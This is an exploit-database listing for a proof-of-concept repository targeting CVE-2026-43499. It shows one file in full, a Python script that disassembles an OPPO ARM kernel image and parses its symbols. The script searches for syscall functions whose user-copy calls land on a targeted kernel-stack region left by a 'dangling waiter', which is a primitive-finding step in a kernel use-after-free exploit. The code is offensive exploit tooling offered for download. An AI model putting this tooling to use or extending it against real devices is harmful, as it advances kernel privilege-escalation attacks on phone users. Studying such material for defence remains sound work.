Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files258
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/ota/scan_stamp_primitives.py

Python · 2,190 bytes
#!/usr/bin/env python3
# Find syscall entry functions whose user-copy lands on kernel stack
# at absolute depth T-192..T-240 (the dangling waiter D region).
from capstone import *
from elftools.elf.elffile import ELFFile
import re
ELF=r'/mnt/d/project/ow/ota/oppo_kernel.elf'
f=open(ELF,'rb'); elf=ELFFile(f)
def load(addr,n):
    seg=[s for s in elf.iter_segments() if s['p_type']=='PT_LOAD' and s['p_vaddr']<=addr<s['p_vaddr']+s['p_filesz']][0]
    return seg.data()[addr-seg['p_vaddr']:addr-seg['p_vaddr']+n]
md=Cs(CS_ARCH_ARM,CS_MODE_ARM|CS_MODE_LITTLE_ENDIAN)
COPY={0xc103e54c:'arm_copy_from_user',0xc05c64b4:'strncpy_from_user',0xc0139ea4:'copy_siginfo_from_user'}
# parse kallsyms
syms={}
for line in open('/mnt/d/project/ow/ota/kallsyms_finder.log'):
    p=line.split()
    if len(p)>=3 and re.fullmatch(r'[0-9a-f]{8}',p[0]) and len(p[1])==1:
        syms.setdefault(p[2],int(p[0],16))
names=[n for n in syms if (n.startswith('__se_sys_') or n.startswith('sys_')) and not n.startswith('__se_sys_ni')]
def frame_of(ins):
    frame=0
    for i in ins[:10]:
        if i.mnemonic=='push':
            raw=int.from_bytes(i.bytes,'little'); frame+=4*bin(raw&0xffff).count('1')
        m=re.match(r'sub\s+sp, sp, #(0x[0-9a-f]+)',i.op_str)
        if m and frame: frame+=int(m.group(1),16)
    return frame
hits=[]
for n in names:
    a=syms[n]
    try: data=load(a,0x700)
    except Exception: continue
    ins=list(md.disasm(data,a))
    if len(ins)<4: continue
    frame=frame_of(ins)
    if not frame: continue
    for k,i in enumerate(ins):
        if i.mnemonic=='bl':
            try: tgt=int(i.op_str,16)
            except: continue
            if tgt in COPY:
                dest=None
                for j in range(max(0,k-16),k):
                    m=re.match(r'add\s+(\w+), sp, #(0x[0-9a-f]+)',ins[j].op_str)
                    if m: dest=int(m.group(2),16)
                if dest is None: continue
                depth=4+frame-dest
                if 188<=depth<=244:
                    hits.append((depth,n,a,i.address,COPY[tgt],frame,dest))
for h in sorted(hits):
    print('depth T-%d  %-34s entry %08x callsite %08x %s frame=%d sp+0x%x'%h)
print('total',len(hits))